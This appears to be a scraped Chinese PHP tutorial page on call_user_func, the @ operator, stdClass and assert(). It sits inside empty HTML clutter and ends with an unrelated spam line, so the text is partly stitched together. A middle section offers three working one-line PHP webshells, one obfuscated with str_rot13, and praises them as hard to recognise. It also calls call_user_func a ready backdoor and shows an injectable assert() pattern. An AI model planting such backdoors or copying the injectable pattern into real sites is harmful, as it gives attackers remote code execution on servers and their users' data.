<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ## call_user_func函數和call_user_func_array函數 ### call_user_func() call_user_func是PHP的內置函數. call_user_func(callback $function [,mixed $parameter [,mixed $... ]]).可以傳遞任何內置的或者用戶自定義的函數,除了語言結構如`array(),echo(),empty(),eval(),exit(),isset(),list(),print() 和 unset()`。 該函數允許用戶調用直接寫的函數并傳入一定的參數,下面總結下這個函數的使用方法。 call_user_func函數類似于一種特別的調用函數的方法,使用方法如下: <?php function nowamagic($a,$b) { echo $a; echo $b; } call_user_func('nowamagic', "111","222"); call_user_func('nowamagic', "333","444"); //顯示 111 222 333 444 ?> 調用類內部的方法比較奇怪,居然用的是array,不知道開發者是如何考慮的,當然省去了new,也挺有新意的: <?php class a { function b($c) { echo $c; } } call_user_func(array("a", "b"),"111"); //顯示 111 ?> ### call_user_func_array() call_user_func_array函數和call_user_func很相似,只不過是換了一種方式傳遞了參數,讓參數的結構更清晰: <?php function a($b, $c) { echo $b; echo $c; } call_user_func_array('a', array("111", "222")); //顯示 111 222 ?> call_user_func_array函數也可以調用類內部的方法的: <?php Class ClassA { function bc($b, $c) { $bc = $b + $c; echo $bc; } } call_user_func_array(array('ClassA','bc'), array("111", "222")); //顯示 333 ?> ### call_user_func和call_user_func_array的關系 call_user_func函數和call_user_func_array函數都支持引用,這讓他們和普通的函數調用更趨于功能一致: <?php function a($b) { $b++; } $c = 0; call_user_func('a', $c); echo $c;//顯示 1 call_user_func_array('a', array($c)); echo $c;//顯示 2 ?> 另外,call_user_func函數和call_user_func_array函數都支持引用。 <?php function increment(&$var) { $var++; } $a = 0; call_user_func('increment', $a); echo $a; // 0 call_user_func_array('increment', array(&$a)); // You can use this instead echo $a; // 1 ?> ## call_user_func有什么意義 ### 可以用來作為網站后門 留一個接口,實現全部功能。 ### __call結合call_user_func來實現鏈式操作 >思想:首先定義一個字符串類StringHelper,構造函數直接賦值value,然后鏈式調用trim()和strlen()函數,通過在調用的魔法函數__call()中使用call_user_func來處理調用關系。 實現如下: <?php class StringHelper { private $value; function __construct($value) { $this->value = $value; } function __call($function, $args){ $this->value = call_user_func($function, $this->value, $args[0]); return $this; } function strlen() { return strlen($this->value); } } $str = new StringHelper(" sd f 0"); echo $str->trim('0')->strlen(); 3. __call結合call_user_func_array來實現 實現如下: <?php class StringHelper { private $value; function __construct($value) { $this->value = $value; } function __call($function, $args){ array_unshift($args, $this->value); $this->value = call_user_func_array($function, $args); return $this; } function strlen() { return strlen($this->value); } } $str = new StringHelper(" sd f 0"); echo $str->trim('0')->strlen(); ## @符號 >@可以忽略錯誤,有仰制錯誤的功能為錯誤控制操作符. function db_connect()//連接數據庫 { @$db =mysql_connect('localhost','root','test'); if(!$db) throw new Exception('連接數據庫失敗!請重試!'); mysql_select_db('book'); return $db; } 如果連接數據庫不成功的,前面的“@”就能把錯誤顯示給抑制住,也就是不會顯示錯誤,然后再拋出異常,顯示自己定義的異常處理。 添加這個只是為了讓瀏覽者不看到,不友好的頁面,并不能抑制住錯誤,只能抑制顯示錯誤! @ 用在你覺得以后運行有可能會出現錯誤的地方 , @后面要來個空格!最好少用,會增加系統開銷. ## stdClass類 stdclass在php中是預定義的幾個類之一,是zent保留的一個類。實際上它是PHP提供的一個基類,就是一個空白的類,里面什么都沒有,我們可以實例化它,然后定義一系列的變量,通過它來進行變量的傳遞(很多php程序員用它來傳遞一系列變量的值,而同時又懶得去創建一個自己的類)。但是,由于實例化后不能添加方法,只能傳遞屬性。因為,一旦類被實列化以后,就不能在添加方法了。 >stdclass可以作為基類使用,其最大特點是,(其派生類)可以自動添加成員變量,而無須在定義時說明。 一切php變量都是stdClass的實例。 使用方法: $user = new stdClass(); $user->name = 'gouki'; 或者: $andy = array(); $andy = (object)$andy; $andy->a = 1; $andy->b = 2; $andy->c = 3; ## 毫秒的時間戳(>php5) microtime(true); ## PHP一句話木馬 木馬的精髓第一在于用盡量少的代碼可以做盡量多的事情,第二是讓人認不出來這是木馬 比如下面三個: <?php @eval($_GET["sb"])?> <?php ($_=@$_GET[2]).@$_($_POST[1])?> <?php ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?> ## assert() php中assert本來是用于調試的,如果assert方法內的代碼不為true,則給個Warning提醒。如下面的代碼。 <?php assert('1==2'); ?> 結果: Warning: assert(): Assertion "1==2" failed in /Users/martist/project/test/trait.php on line 4 有個assert_option方法可以對assert進行一些控制。默認值如下: ASSERT_ACTIVE=1 //Assert函數的開關 ASSERT_WARNING =1 //當表達式為false時,是否要輸出警告性的錯誤提示,issue a PHP warning for each failed assertion ASSERT_BAIL= 0 //是否要中止運行;terminate execution on failed assertions ASSERT_QUIET_EVAL= 0 //是否關閉錯誤提示,在執行表達式時;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK= (NULL) // 是否啟動回調函數 user function to call on failed assertions 如果按照默認值,當assert進行判斷時,如果為false,則會發出Warning的提醒,但是依然會繼續向下執行。對于調試很好,尤其是可以使用callback,但是生產環境就不建議使用了。 #### assert的callback <?php // Active assert and make it quiet assert_options(ASSERT_ACTIVE, 1); assert_options(ASSERT_WARNING, 0); assert_options(ASSERT_QUIET_EVAL, 1); // Create a handler function function my_assert_handler($file, $line, $code) { echo "<hr>Assertion Failed:File '$file'<br />Line '$line'<br />Code '$code'<br /><hr />"; } // Set up the callback assert_options(ASSERT_CALLBACK, 'my_assert_handler'); // Make an assertion that should fail assert('1===2'); ?> 結果: Assertion Failed:File '/Users/martist/project/test/trait.php' Line '17' Code '1===2' 但是,assert也有安全問題,這個也是不建議在生產環境使用assert的一個重要原因。請看如下代碼: <?php function fo(){ file_put_contents('con.php','www.baidu.com'); return true; } $func = $_GET["func"]; assert("$func()"); ?> 如果對用戶輸入的數據過濾不嚴謹的話,assert的危害比eval還要大。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看